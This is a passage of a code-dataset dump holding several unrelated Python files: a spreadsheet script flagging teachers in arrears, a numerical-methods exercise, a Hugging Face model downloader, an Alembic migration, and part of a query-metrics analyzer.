unidecode.unidecode(word)\n    \n    due_teachers_names.append(due_teacher_name)\n\n# Ahora verifica los nombres de los directores de grupo\n\nleader_teachers_column = 13\nleader_teachers_start_row = 7\n\n# Recorre las filas con las celdas con los nombres de los profesores\nfor row in announcement_ws.iter_rows(min_row=leader_teachers_start_row, \n                                    max_row=announcement_ws.max_row, \n                                    min_col=leader_teachers_column,\n                                    max_col=leader_teachers_column):\n\n    # Extrae la celda de la fila\n    leader_teacher_cell = row[0]\n    # Verifica que la celda no este  vacia\n    if not leader_teacher_cell.value or not leader_teacher_cell.value.strip():\n        continue\n    # Extrae el nombre tal cual esta en la celda y le quita los espacios laterales\n    leader_teacher_raw_name = leader_teacher_cell.value.strip()\n    # Extrae las palabras individuales del nombre\n    leader_teacher_name = leader_teacher_raw_name.split(\" \")\n    temp = leader_teacher_name\n    # Sanitiza los nombres para sacar los espacios sobrantes\n    leader_teacher_name = [name.strip() for name in temp if name.strip()]\n    \n    # Sanitiza los nombres para sacar los acentos\n    for index,word in enumerate(leader_teacher_name):\n\n        leader_teacher_name[index] = unidecode.unidecode(word)\n    \n    # Compara nombres entre el nombre del lider y la lista de nombres de profesores en mora\n    is_due = False\n\n    for name in due_teachers_names:\n        # Busca palabras en comun entre nombres\n        word_ocurrences = len([word for word in leader_teacher_name if word in name])\n        if word_ocurrences == len(name):\n            # Si hay una equivalencia exacta, probablemente este en mora\n            is_due = True\n            break\n    \n    if is_due:\n        announcement_ws.cell(leader_teacher_cell.row, 1).value= \"MORA\"\n        \nwb.save(\"Output.xlsx\")","repo_name":"Gacrucis/Proxima","sub_path":"PY/ETerm/Convocator.py","file_name":"Convocator.py","file_ext":"py","file_size_in_byte":3335,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"44156827601","text":"# coding=utf8\n\nimport math\nimport numpy as np\n\ndef lst_string_to_float(list):\n\tres = []\n\tfor line in list:\n\t\tres.append([float(item) for item in line])\n\treturn res\n#Красиво печатаем матрицу.\ndef matrix_print(matrix, ext = 1):\t#ext - количество стобцов расширения матрицы\n\tprint()\n\tfor i in range(len(matrix)):\n\t\tfor ii in range(len(matrix[i]) - ext):\n\t\t\tprint(\"{}\\t\".format(matrix[i][ii]), end='')\n\t\tif 0 != ext:\n\t\t\tprint(\"|\\t\", end='')\n\t\t\tfor ii in range(len(matrix[i]) - ext, len(matrix[i])):\n\t\t\t\tprint(\"{}\\t\".format(matrix[i][ii]), end='')\n\t\tprint()\n#Читаем исходные данные, первые строчки - матрица, последняя - правая часть\ninput_file = open('0_task_input.txt', 'r')\n#Каждую линию нужно разбить на части по символу /t и каждый кусок превратить в float\nA_ext = [line.rstrip('\\n\\r').split('\\t') for line in input_file]\nA_ext = lst_string_to_float(A_ext)\nN = int(A_ext.pop()[0])\nM = int(A_ext.pop()[0])\nmatrix_print(A_ext, 0)\nprint(\"N = {}, M = {}\".format(N, M))\ndef m_plus(A, B):\n\tres = []\n\tfor i in range(len(A)):\n\t\tres.append(list(A[i]))\n\t\tfor ii in range(len(A[i])):\n\t\t\tres[i][ii] = A[i][ii] + B[i][ii]\n\treturn res\n\t\t\t\ndef m_mult_scalar(A, k):\n\tres = []\n\tfor i in range(len(A)):\n\t\tres.append(list(A[i]))\n\t\tfor ii in range(len(A[i])):\n\t\t\tres[i][ii] = A[i][ii] * k\n\treturn res\n\t\ndef m_minus(A, B):\n\tres = []\n\tfor i in range(len(A)):\n\t\tres.append(list(A[i]))\n\t\tfor ii in range(len(A[i])):\n\t\t\tres[i][ii] = A[i][ii] - B[i][ii]\n\treturn res\n\ndef m_T(A):\n\tres = []\n\tfor i in range(len(A[0])):\n\t\tres.append([A[ii][i] for ii in range(len(A))])\n\treturn res\n\ndef m_mult(A, B):\n\tres = [[0 for ii in range(len(B))] for i in range(len(A))]\n\tfor i in range(len(A)):\n\t\tfor ii in range(len(B)):\n\t\t\tfor k in range(len(A[i])):\n\t\t\t\tres[i][ii] += A[i][k] * B[k][ii]\n\treturn res\n\t\ndef norm_inf(A):\n\tres = 0\n\tfor i in range(len(A[0])):\n\t\tres += abs(A[0][i])\n\tfor i in range(len(A)):\n\t\tsum = 0\n\t\tfor ii in range(A[i]):\n\t\t\tsum += abs(A[i][ii])\n\t\tif sum > res:\n\t\t\tres = sum\n\treturn res\n\ndef norm_1(A):\n\tres = 0\n\tfor i in range(len(A)):\n\t\tres += abs(A[i][0])\n\tif(len(A[0])) > 1:\n\t\tfor ii in range(1, len(A)):\n\t\t\tsum = 0\n\t\t\tfor i in range(len(A)):\n\t\t\t\tsum += abs(A[i][ii])\n\t\t\tif sum > res:\n\t\t\t\tres = sum\n\treturn res\n\t\ndef norm_2(A):\n\tres = 0\n\tfor i in range(len(A)):\n\t\tfor ii in range(len(A[i])):\n\t\t\tres += abs(A[i][ii]) ** 2\n\treturn math.sqrt(res)\n\t\ndef v_norm_1(A):\n\tres = 0\n\tfor i in range(len(A)):\n\t\tres += abs(A[i])\n\treturn res\n\t\ndef v_norm_inf(A):\n\tres = abs(A[0])\n\tfor i in range(len(A)):\n\t\tif abs(A[i]) > res:\n\t\t\tres = abs(A[i])\n\treturn res\n# matrix_print(m_plus(A_ext, A_ext), 0)\n# matrix_print(m_minus(A_ext, A_ext), 0)\n# matrix_print(m_T(A_ext), 0)\n# matrix_print(m_mult_scalar(A_ext, 2), 0)\n# matrix_print(m_mult(A_ext, A_ext), 0)\n#1)\n#Найдем по формулам Крамера вектор х для уравнения Ах = В\nx = [0 for i in range(N)]\nb = [[200], [-600]]\ndetA = A_ext[0][0] * A_ext[1][1] - A_ext[0][1] * A_ext[1][0]\nx[0] = (b[0][0] * A_ext[1][1] - b[1][0] * A_ext[0][1]) / detA\nx[1] = (b[1][0] * A_ext[0][0] - b[0][0] * A_ext[1][0]) / detA\ndiscrepancy = [0 for i in range(N)]\nfor i in range(N):\n\tfor ii in range(M):\n\t\tdiscrepancy[i] += A_ext[i][ii] * x[ii]\n\t\t#print(discrepancy)\n\tdiscrepancy[i] -= b[i][0]\nprint(\"x = {}\".format(x))\nprint(\"Вектор невязки = {}\".format(discrepancy))\n#Найдем по формулам Крамера вектор х для у��авнения Ах = (B + delta B)\nx_delta = [0 for i in range(N)]\nb_new = [[199], [-601]] #b + delta_b\ndelta_b = [[-1], [-1]]\ndetA = A_ext[0][0] * A_ext[1][1] - A_ext[0][1] * A_ext[1][0]\nx_delta[0] = (b_new[0][0] * A_ext[1][1] - b_new[1][0] * A_ext[0][1]) / detA\nx_delta[1] = (b_new[1][0] * A_ext[0][0] - b_new[0][0] * A_ext[1][0]) / detA\ndiscrepancy_new = [0 for i in range(N)]\nfor i in range(N):\n\tfor ii in range(M):\n\t\tdiscrepancy_new[i] += A_ext[i][ii] * x_delta[ii]\n\t\t#print(discrepancy_new)\n\tdiscrepancy_new[i] -= b_new[i][0]\nprint(\"Для возмущенной системы:\\nx = {}\".format(x_delta))\nprint(\"Вектор невязки = {}\".format(discrepancy_new))\n#3) Найдем фактическую относительную погрешшность\nsigma = v_norm_inf([x_delta[i] - x[i] for i in range(N)]) / v_norm_inf(x)\nprint(\"Фактическая относительную погрешность = {}\".format(sigma))\n#4) Вычислим число обусловленности\nmA = np.matrix(A_ext)\nA_inv = np.linalg.inv(mA)\nA_inv = np.squeeze(np.asarray(A_inv))\ncondition = norm_1(A_ext) * norm_1(A_inv)\nprint(\"Число обусловленности = {}\".format(condition))\n#5) Найдем теоретическую относительную погрешность\ndelta = 0\nnorm_b = 0\nfor i in range(len(delta_b)):\n\tdelta += abs(delta_b[i][0])\n\tnorm_b += abs(b[i][0])\nsigma_b = delta/ norm_b\nprint(\"Теоретическая относительная погрешность = {}\".format(sigma_b * condition))","repo_name":"dimmddr/numericalMethods","sub_path":"2 семестр/0_task.py","file_name":"0_task.py","file_ext":"py","file_size_in_byte":5118,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"4745645751","text":"\"\"\"\nDownloads models from Hugging Face to models/username_modelname.\n\"\"\"\n\nimport argparse\nimport base64\nimport datetime\nimport hashlib\nimport json\nfrom os import environ\nfrom pathlib import Path\nfrom re import Pattern, compile\nfrom typing import Dict, List, Literal, Optional\n\nfrom requests import HTTPError, Response, Session\n\ntry:\n    from ..utils.logger import ApiLogger\nexcept ImportError:\n    from logging import getLogger as ApiLogger\n\ntry:\n    from typing_extensions import TypedDict\n\n\nexcept ImportError:\n    print(\"Failed to import typing_extensions, using TypedDict from typing\")\n    from typing import TypedDict  # When dependencies aren't installed yet\ntry:\n    from tqdm import tqdm\n    from tqdm.contrib.concurrent import thread_map\n\nexcept ImportError:\n    tqdm = thread_map = None\n\nlogger = ApiLogger(__name__)\n\n\nClassification = Literal[\"text\", \"pytorch\", \"safetensors\", \"ggml\", \"pt\"]\n\n\nclass HuggingfaceModelInfo(TypedDict):\n    links: List[str]\n    file_names: List[str]\n    sha256: List[List[str]]\n    is_lora: bool\n    classifications: List[Classification]\n\n\nclass HuggingfaceDownloader:\n    _base_url: str = \"https://huggingface.co\"\n    _branch_pattern: Pattern = compile(r\"^[a-zA-Z0-9._-]+$\")\n    _pytorch_pattern: Pattern = compile(r\"(pytorch|adapter)_model.*\\.bin\")\n    _safetensors_pattern: Pattern = compile(r\".*\\.safetensors\")\n    _pt_pattern: Pattern = compile(r\".*\\.pt\")\n    _ggml_pattern: Pattern = compile(r\".*\\.(bin|gguf)\")\n    _tokenizer_pattern: Pattern = compile(r\"(tokenizer|ice).*\\.model\")\n    _text_pattern: Pattern = compile(r\".*\\.(txt|json|py|md)\")\n\n    def __init__(\n        self,\n        model: str,\n        branch: str = \"main\",\n        threads: int = 1,\n        base_folder: Optional[str] = None,\n        clean: bool = False,\n        check: bool = False,\n        text_only: bool = False,\n        start_from_scratch: bool = False,\n    ) -> None:\n        self.session = Session()\n        user: Optional[str] = environ.get(\"HF_USER\")\n        password: Optional[str] = environ.get(\"HF_PASS\")\n        if user and password:\n            self.session.auth = (user, password)\n\n        # Cleaning up the model/branch names\n        try:\n            self._model = model\n            self._branch = branch\n            self.threads = threads\n            self.base_folder = (\n                Path(base_folder.lower()) if base_folder else None\n            )\n            self.clean = clean\n            self.check = check\n            self.text_only = text_only\n            self.start_from_scratch = start_from_scratch\n            self.progress_bar = None\n\n            # Getting the model info from Huggingface\n            self.hf_info: HuggingfaceModelInfo = (\n                self._get_model_info_from_huggingface()\n            )\n        except ValueError as err_branch:\n            logger.error(err_branch)\n            raise\n        except HTTPError as err_http:\n            logger.error(err_http)\n            raise\n\n    @property\n    def model(self) -> str:\n        if self._model.endswith(\"/\"):\n            return self._model.lower()[:-1]\n        return self._model.lower()\n\n    @property\n    def branch(self) -> str:\n        if not self._branch_pattern.match(self._branch or \"main\"):\n            raise ValueError(\n                \"Invalid branch name. Only alphanumeric characters, \"\n                \"period, underscore and dash are allowed.\"\n            )\n        return self._branch.lower()\n\n    @property\n    def output_folder(self) -> Path:\n        if self.base_folder is None:\n            return (\n                Path(\"models\")\n                if not self.hf_info[\"is_lora\"]\n                else Path(\"loras\")\n            )\n        return self.base_folder\n\n    @classmethod\n    def from_repository(\n        cls,\n        model: str,  # e.g. \"facebook/opt-1.3b\"\n        branch: str = \"main\",\n        threads: int = 1,\n        base_folder: Optional[str] = None,\n        clean: bool = False,\n        check: bool = False,\n        text_only: bool = False,\n        start_from_scratch: bool = False,\n    ) -> \"HuggingfaceDownloader\":\n        self = cls(\n            model=model,\n            branch=branch,\n            threads=threads,\n            base_folder=base_folder,\n            clean=clean,\n            check=check,\n            text_only=text_only,\n            start_from_scratch=start_from_scratch,\n        )\n\n        # Getting the output folder\n        logger.info(\n            \"Links:\"\n            + \"\".join([f\"\\n- {link}\" for link in self.hf_info[\"links\"]])\n            + \"\\n\"\n            \"SHA256:\"\n            + \"\".join(\n                [\n                    f\"\\n- {fname}: {fhash}\"\n                    for fname, fhash in self.hf_info[\"sha256\"]\n                ]\n            )\n            + \"\\n\"\n            f\"Is LoRA: {self.hf_info['is_lora']}\\n\"\n            f\"Output folder: {self.output_folder}\"\n        )\n\n        if self.check:\n            # Check previously downloaded files\n            self.check_model_files_by_sha256()\n        else:\n            # Download files\n            self.download_model_files()\n        return self\n\n    def download_model_files(\n        self, links: Optional[List[str]] = None\n    ) -> None:\n        # Creating the folder and writing the metadata\n        output_folder: Path = self.output_folder\n        output_folder.mkdir(parents=True, exist_ok=True)\n        metadata: str = (\n            f\"- url: {self._base_url}/{self.model}\\n\"\n            f\"- branch: {self.branch}\\n\"\n            f'- download date: {datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")}\\n'  # noqa: E501\n        )\n        logger.info(f\"Downloading with metadata:\\n{metadata}\")\n\n        sha256_str: str = \"\\n\".join(\n            [f\"    {item[1]} {item[0]}\" for item in self.hf_info[\"sha256\"]]\n        )\n        if sha256_str:\n            metadata += f\"sha256sum:\\n{sha256_str}\"\n\n        metadata += \"\\n\"\n        (output_folder / \"huggingface-metadata.txt\").write_text(metadata)\n\n        # Downloading the files\n        logger.info(f\"Downloading the model to {output_folder}...\")\n        self._start_download_threads(links=links or self.hf_info[\"links\"])\n\n    def get_single_file(self, url: str) -> None:\n        file_name = Path(url.rsplit(\"/\", 1)[1])\n        output_path = self.output_folder / file_name\n        headers: Dict[str, str] = {}\n        mode: str = \"wb\"\n        if output_path.exists() and not self.start_from_scratch:\n            # Check if the file has already been downloaded completely\n            response: Response = self.session.get(\n                url, stream=True, timeout=20\n            )\n            total_size: int = int(response.headers.get(\"content-length\", 0))\n            if output_path.stat().st_size >= total_size:\n                logger.info(f\"{file_name} already exists. Skipping...\")\n                return\n\n            # Otherwise, resume the download from where it left off\n            logger.info(\n                f\"Resuming download of {file_name} \"\n                f\"from {output_path.stat().st_size / 1024**2} MB \"\n                f\"to {total_size / 1024**2} MB\"\n            )\n            headers = {\"Range\": f\"bytes={output_path.stat().st_size}-\"}\n            mode = \"ab\"\n\n        with self.session.get(\n            url, stream=True, headers=headers, timeout=20\n        ) as response:\n            # Do not continue the download if the request was unsuccessful\n            response.raise_for_status()\n            total_size = int(response.headers.get(\"content-length\", 0))\n            block_size: int = 1024 * 1024  # 1MB\n            with open(output_path, mode) as f:\n                t = (\n                    tqdm(\n                        total=total_size,\n                        unit=\"iB\",\n                        unit_scale=True,\n                        bar_format=(\n                            \"{l_bar}{bar}| \"\n                            \"{n_fmt:6}/{total_fmt:6} {rate_fmt:6}\"\n                        ),\n                    )\n                    if tqdm is not None\n                    else None\n                )\n                count: int = 0\n                for data in response.iter_content(block_size):\n                    if t is not None:\n                        t.update(len(data))\n                    f.write(data)\n                    if total_size != 0 and self.progress_bar is not None:\n                        count += len(data)\n                        self.progress_bar(\n                            float(count) / float(total_size),\n                            f\"Downloading {file_name}\",\n                        )\n                # tqdm 객체가 있으면 close 메서드를 호출합니다.\n                if t is not None:\n                    t.close()\n\n    def check_model_files_by_sha256(self) -> bool:\n        # Validate the checksums\n        is_validated: bool = True\n        output_folder: Path = self.output_folder\n        for single_sha256 in self.hf_info[\"sha256\"]:\n            fname, fhash = single_sha256\n            fpath = output_folder / Path(fname)\n\n            if not fpath.exists():\n                logger.info(f\"The following file is missing: {fpath}\")\n                is_validated = False\n                continue\n\n            with open(output_folder / Path(fname), \"rb\") as f:\n                real_hash = hashlib.sha256(f.read()).hexdigest()\n                if real_hash != fhash:\n                    logger.info(f\"Checksum failed: {fname}  {fhash}\")\n                    is_validated = False\n                else:\n                    logger.info(f\"Checksum validated: {fname}  {fhash}\")\n\n        if is_validated:\n            logger.info(\"[+] Validated checksums of all model files!\")\n        else:\n            logger.error(\n                \"[-] Invalid checksums. Rerun downloader with the --clean flag\"\n            )\n        return is_validated\n\n    def is_ggml(self, file_name: str) -> bool:\n        return (\n            self._ggml_pattern.match(file_name) is not None\n            and self._pytorch_pattern.match(file_name) is None\n        )\n\n    def _start_download_threads(self, links: List[str]) -> None:\n        if links is None:\n            links = self.hf_info[\"links\"]\n        if thread_map is not None:\n            thread_map(\n                lambda url: self.get_single_file(url),\n                links,\n                max_workers=min(self.threads, len(links)),\n                disable=True,\n            )\n        else:\n            from concurrent.futures import ThreadPoolExecutor, as_completed\n\n            with ThreadPoolExecutor(\n                max_workers=min(self.threads, len(links))\n            ) as executor:\n                [\n                    future.result()\n                    for future in as_completed(\n                        [\n                            executor.submit(self.get_single_file, url)\n                            for url in links\n                        ]\n                    )\n                ]\n\n    def _get_model_info_from_huggingface(self) -> HuggingfaceModelInfo:\n        model, branch = self.model, self.branch\n        page: str = f\"/api/models/{model}/tree/{branch}\"\n        cursor: bytes = b\"\"\n\n        links: List[str] = []\n        file_names: List[str] = []\n        sha256: List[List[str]] = []\n        classifications: List[Classification] = []\n        has_pytorch: bool = False\n        has_pt: bool = False\n        has_ggml: bool = False\n        has_safetensors: bool = False\n        is_lora: bool = False\n        while True:\n            url: str = f\"{self._base_url}{page}\" + (\n                f\"?cursor={cursor.decode()}\" if cursor else \"\"\n            )\n            response: Response = self.session.get(url, timeout=20)\n            response.raise_for_status()\n            content: bytes = response.content\n\n            json_decoded: dict = json.loads(content)\n            if not json_decoded:\n                break\n\n            for json_idx in range(len(json_decoded)):\n                file_name: str = json_decoded[json_idx][\"path\"]\n                file_names.append(file_name)\n                if file_name.endswith(\n                    (\"adapter_config.json\", \"adapter_model.bin\")\n                ):\n                    is_lora = True\n\n                (\n                    is_pytorch,\n                    is_safetensors,\n                    is_pt,\n                    is_possibly_ggml,\n                    is_tokenizer,\n                    is_text,\n                ) = (\n                    self._pytorch_pattern.match(file_name),\n                    self._safetensors_pattern.match(file_name),\n                    self._pt_pattern.match(file_name),\n                    self._ggml_pattern.match(file_name),\n                    self._tokenizer_pattern.match(file_name),\n                    self._text_pattern.match(file_name),\n                )\n\n                if is_text is None:\n                    is_text = is_tokenizer\n                if any(\n                    (\n                        is_pytorch,\n                        is_safetensors,\n                        is_pt,\n                        is_possibly_ggml,\n                        is_tokenizer,\n                        is_text,\n                    )\n                ):\n                    if \"lfs\" in json_decoded[json_idx]:\n                        sha256.append(\n                            [file_name, json_decoded[json_idx][\"lfs\"][\"oid\"]]\n                        )\n\n                    if is_text:\n                        links.append(\n                            f\"https://huggingface.co/{model}/resolve/{branch}/{file_name}\"  # noqa: E501\n                        )\n                        classifications.append(\"text\")\n                        continue\n\n                    if not self.text_only:\n                        links.append(\n                            f\"https://huggingface.co/{model}/resolve/{branch}/{file_name}\"  # noqa: E501\n                        )\n                        if is_safetensors:\n                            has_safetensors = True\n                            classifications.append(\"safetensors\")\n                        elif is_pytorch:\n                            has_pytorch = True\n                            classifications.append(\"pytorch\")\n                        elif is_pt:\n                            has_pt = True\n                            classifications.append(\"pt\")\n                        elif is_possibly_ggml and not is_pytorch:\n                            has_ggml = True  # noqa: F841\n                            classifications.append(\"ggml\")\n\n            cursor = base64.b64encode(\n                (\n                    base64.b64encode(\n                        f'{{\"file_name\":\"{json_decoded[-1][\"path\"]}\"}}'.encode()  # noqa: E501\n                    )\n                    + b\":50\"\n                )\n            ).replace(b\"=\", b\"%3D\")\n\n        # If both pytorch and safetensors are available,\n        # download safetensors only\n        if (has_pytorch or has_pt) and has_safetensors:\n            for json_idx in range(len(classifications) - 1, -1, -1):\n                if classifications[json_idx] in (\"pytorch\", \"pt\"):\n                    links.pop(json_idx)\n        return HuggingfaceModelInfo(\n            links=links,\n            file_names=file_names,\n            sha256=sha256,\n            is_lora=is_lora,\n            classifications=classifications,\n        )\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\n        \"model\",\n        type=str,\n        default=None,\n        nargs=\"?\",\n        help=\"The model you'd like to download. e.g. facebook/opt-1.3b\",\n    )\n\n    parser.add_argument(\n        \"--branch\",\n        type=str,\n        default=\"main\",\n        help=\"Name of the Git branch to download from.\",\n    )\n    parser.add_argument(\n        \"--threads\",\n        type=int,\n        default=1,\n        help=\"Number of files to download simultaneously.\",\n    )\n    parser.add_argument(\n        \"--text-only\",\n        action=\"store_true\",\n        help=\"Only download text files (txt/json).\",\n    )\n    parser.add_argument(\n        \"--output\",\n        type=str,\n        default=None,\n        help=\"The folder where the model should be saved.\",\n    )\n    parser.add_argument(\n        \"--clean\",\n        action=\"store_true\",\n        help=\"Does not resume the previous download.\",\n    )\n    parser.add_argument(\n        \"--check\",\n        action=\"store_true\",\n        help=\"Validates the checksums of model files.\",\n    )\n    args = parser.parse_args()\n\n    if args.model is None:\n        parser.error(\n            \"Error: Please specify the model you'd like to download \"\n            \"(e.g. 'python download-model.py facebook/opt-1.3b').\"\n        )\n\n    HuggingfaceDownloader.from_repository(\n        model=args.model,\n        branch=args.branch,\n        threads=args.threads,\n        base_folder=args.output,\n        clean=args.clean,\n        check=args.check,\n        text_only=args.text_only,\n    )\n","repo_name":"c0sogi/llama-api","sub_path":"llama_api/utils/huggingface_downloader.py","file_name":"huggingface_downloader.py","file_ext":"py","file_size_in_byte":16870,"program_lang":"python","lang":"en","doc_type":"code","stars":69,"dataset":"github-code","pt":"60"}
+{"seq_id":"39501841950","text":"\"\"\"empty message\n\nRevision ID: eed07ef400ae\nRevises: 4d40aaa81c6c\nCreate Date: 2023-09-06 20:26:24.722859\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'eed07ef400ae'\ndown_revision = '4d40aaa81c6c'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    with op.batch_alter_table('user', schema=None) as batch_op:\n        batch_op.add_column(sa.Column('profile_image_url', sa.String(length=255), nullable=True))\n\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    with op.batch_alter_table('user', schema=None) as batch_op:\n        batch_op.drop_column('profile_image_url')\n\n    # ### end Alembic commands ###\n","repo_name":"metantonio/nombre-proyecto-final-cr2","sub_path":"migrations/versions/eed07ef400ae_.py","file_name":"eed07ef400ae_.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"34961084193","text":"# To add a new cell, type '# %%'\n# To add a new markdown cell, type '# %% [markdown]'\n\nfrom typing import List\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\nimport os\nimport sys\nimport glob\nimport re\nimport copy\n\nimport settings\nfrom settings import QUERY_ARGS\n\n\nclass Analyzer:\n\n    CSV_SPECIFIER = \"\"\n\n    # ATTENTION: This structure must be the same with generate_queries\n    queryArg = copy.deepcopy(settings.QUERY_ARGS)\n\n    # Column names that all queries have in common\n    mainHeader = settings.MAIN_HEADER\n\n    # Specific column names per Query\n    headers = settings.HEADER_PER_QUERY\n    # how many columns are related for rates.\n    ratesPerQuery = settings.RATES_PER_QUERY\n\n    def __init__(self, specifier, queryName=\"all\", action=None):\n        valid_specifiers = settings.VALID_CSV_SPECIFIERS\n        PATH = settings.PATH\n        if specifier:\n            self.fileName = PATH + queryName + \"_\" + self.CSV_SPECIFIER + \".csv\"\n        else:\n            self.fileName = PATH + queryName + \".csv\"\n        if specifier not in valid_specifiers:\n            print(specifier + \" is not a valid specifier @ analyzer.py\")\n            exit(-1)\n\n        if queryName == \"all\": \n            # not using settings.PATH because vscode has different relative paths.\n            for file in glob.glob(settings.PATH + \"/*_\"+ specifier + \".csv\"):\n                self.fileName = file\n                self.queryName = os.path.basename(file).split(\"_\")[0]  # remove extension\n                print(self.fileName)\n                print(self.queryName)\n                print(action)\n                self.setQuery()\n                if action == \"scatter\":\n                    if \"equal\" in specifier:\n                        self.analyzeDistributionParallelism()\n                    elif \"metric\" in specifier:\n                        self.analyzeDistribution(False)\n        elif queryName in self.headers:\n            print(\"Reading file: \" + self.fileName)\n            self.queryName = queryName\n            self.setQuery()\n            if action == 'extract':\n                pass\n                #self.calcEfficientMetrics()\n            elif action == \"scatter\":\n                if \"equal\" in specifier:\n                    #self.analyzeParallelization(True)\n                    # self.analyzeDistributionEqual()\n                    self.analyzeDistributionParallelism()\n                elif \"metric\" in specifier:\n                    #self.analyzeParallelization(False)\n                    self.analyzeDistribution(False)\n                elif specifier == \"\":\n                    self.analyzeDistributionEqual()\n            elif action == \"test\":\n                df = self.aggregate_func(\n                    self.data[(self.data[\"total_op_instances\"] == 2.0)\n                              & (self.data[\"operator\"] == \"Mapper\")], 2)\n                print(df.tail(15))\n            else:\n                print(\"Inserted invalid action [\" + action +\n                      \"] in analyzer.py\")\n\n    def setQuery(self):\n        \"\"\" Read the corresponding csv file for the set queryName\n            Store the results in a pandas.Dataframe and filter out duplicate/NaN rows \"\"\"\n        print(self.fileName)\n        self.data = pd.read_csv(self.fileName,\n                                names=self.mainHeader[:2] +\n                                self.headers[self.queryName] +\n                                self.mainHeader[2:],delimiter=',', index_col=False)\n        print(self.mainHeader[:2] +\n                                self.headers[self.queryName] +\n                                self.mainHeader[2:])\n        print(\"Starting df len:\" + str(len(self.data)))\n        print(self.data.head())\n        # remove any row that has a NaN value. Removing the rows with no results.\n        # Bug on the my_db.py or monitor.py.\n        self.data = self.data.dropna()\n        print(\"REMOVED NA. Current df len: \" + str(len(self.data)))\n\n    \n    def aggregate_func(self, curDF, parallelismVal):\n        uniqueParallel = curDF[\"total_op_instances\"].unique()\n        print(uniqueParallel)\n        \"\"\"\n        Aggregate all the parallel instances of an operator.\n        DF: must be related to only 1 operator with a specific parallelism value.\n        \"\"\"\n        if len(uniqueParallel) != 1 and uniqueParallel[0] != [parallelismVal]:\n            print(\n                \"Aggragate function error. Dataframe contains more parallel instances than the given \"\n                + str(parallelismVal))\n            raise Exception(\"Wrong input in aggregate_func\")\n        columns = list(curDF.columns)\n        aggregation_functions = {c: \"first\" for c in columns[:-4]}\n        for c in columns[-4:]:\n            aggregation_functions[c] = \"sum\"\n        aggregation_functions[\"op_instance_id\"] = \"sum\"\n        aggregation_functions[\"total_op_instances\"] = \"sum\"\n\n        sortingList = [\"id\", \"epoch_timestamp\"]\n        sortingList.extend(settings.RATES_NAMES_PER_QUERY[self.queryName])\n        #sortingList.append(\"op_instance_id\")\n\n        sortDF = curDF.sort_values(by=sortingList)\n        sortDF = sortDF.reset_index(drop=True)\n        # aggregate. We observe that op_instance_id is 6 (1+2+3) and total_op_instances is 9 (3+3+3) as we wanted\n        return sortDF.groupby(\n            sortDF.index //\n            parallelismVal).aggregate(aggregation_functions).reindex(\n                columns=curDF.columns)\n    \"\"\"\n    def calcEfficientMetrics(self, percent=0.05):\n        \\\"\"\"\n        Looks the {percent} of the maximun output rates and saves the mean input values of paralelization and rates.\n        # WRONG WAY of calculate efficient metrics since we care about all the spectrum of the data not the 5% of the best.\n        \\\"\"\"\n        startIndex = len(self.queryArg[self.queryName]) + 4\n        uniqueOperators = self.data[\"operator\"].unique()\n        file_path = settings.PATH + \"plots/\" + self.queryName + \"/\" + \"bestResults_\" + self.CSV_SPECIFIER + \".txt\"\n        skipSet = set({0, 'NaN', 'nan'})\n        with open(file_path, 'w+') as f:\n            for operator in sorted(uniqueOperators):\n                df = self.data[self.data[\"operator\"] == operator]\n                f.write(\"OPERATOR__ID : \" + operator + \"\\n\")\n                print(\"OPERATOR__ID : \" + operator)\n                for i in range(startIndex, startIndex + 4):\n                    currentOutputRateName = df.columns[i]\n                    bestDF = df.sort_values(by=currentOutputRateName,\n                                            ascending=False)\n                    uniqueValues = int(\n                        sum(bestDF[currentOutputRateName].unique()))\n                    if uniqueValues in skipSet:\n                        continue\n                    print(\"------------\" + currentOutputRateName +\n                          \"------------\")\n                    print(uniqueValues)\n                    print(len(bestDF))\n                    bestDF = bestDF.head(round(percent * len(bestDF)))\n                    print(len(bestDF))\n                    curOutputRateMeanVal = round(\n                        bestDF[currentOutputRateName].mean(), 2)\n                    f.write(\"--------\" + currentOutputRateName + \" == \" +\n                            str(curOutputRateMeanVal) + \"--------\" + \"\\n\")\n                    #top20Percent\n                    print(currentOutputRateName)\n                    for key in self.headers[self.queryName]:\n                        mean = round(bestDF[key].mean(), 2)\n                        result = f'\\t\\t{key} == {mean} \\n'\n                        f.write(result)\n                    f.write(\"\\n\")\n                    print()\n\n    def analyzeRates(self):\n        data = self.data\n        uniqueOperators = data[\"operator\"].unique()\n        print(uniqueOperators)\n        for operator in uniqueOperators:\n            data = self.data[self.data[\"operator\"] == operator]\n            for rate in range(self.ratesPerQuery[self.queryName]):\n                uniqueRates = data.iloc[:, rate + 1].unique()\n                uniqueRates = np.sort(uniqueRates)\n                meanTrueProc = []\n                meanTrueOut = []\n                meanObservedOut = []\n                meanObservedProc = []\n                for i, rateValue in enumerate(uniqueRates):\n                    meanDF = data[data.iloc[:, rate + 1] == rateValue]\n                    if self.ratesPerQuery[self.queryName] > 1:\n                        if (len(meanDF.iloc[:, rate if rate ==\n                                            uniqueRates[-1] else rate +\n                                            2].unique()) > 1):\n                            uniqueRates = np.delete(uniqueRates, i)\n                            continue\n                    meanDFtrueProc = meanDF[\"true_processing_rate\"].mean()\n                    meanDFtrueOut = meanDF[\"true_output_rate\"].mean()\n                    meanDFobservedOut = meanDF[\"observed_output_rate\"].mean()\n                    meanDFobservedProc = meanDF[\n                        \"observed_processing_rate\"].mean()\n                    meanTrueOut.append(meanDFtrueOut)\n                    meanTrueProc.append(meanDFtrueProc)\n                    meanObservedOut.append(meanDFobservedOut)\n                    meanObservedProc.append(meanDFobservedProc)\n                self.plot_graph(\n                    f\"{operator}__{data.columns[rate+1]}_TrueOutput\",\n                    data.columns[rate + 1],\n                    \"true_output_rate\",\n                    uniqueRates,\n                    meanTrueOut,\n                )\n                self.plot_graph(\n                    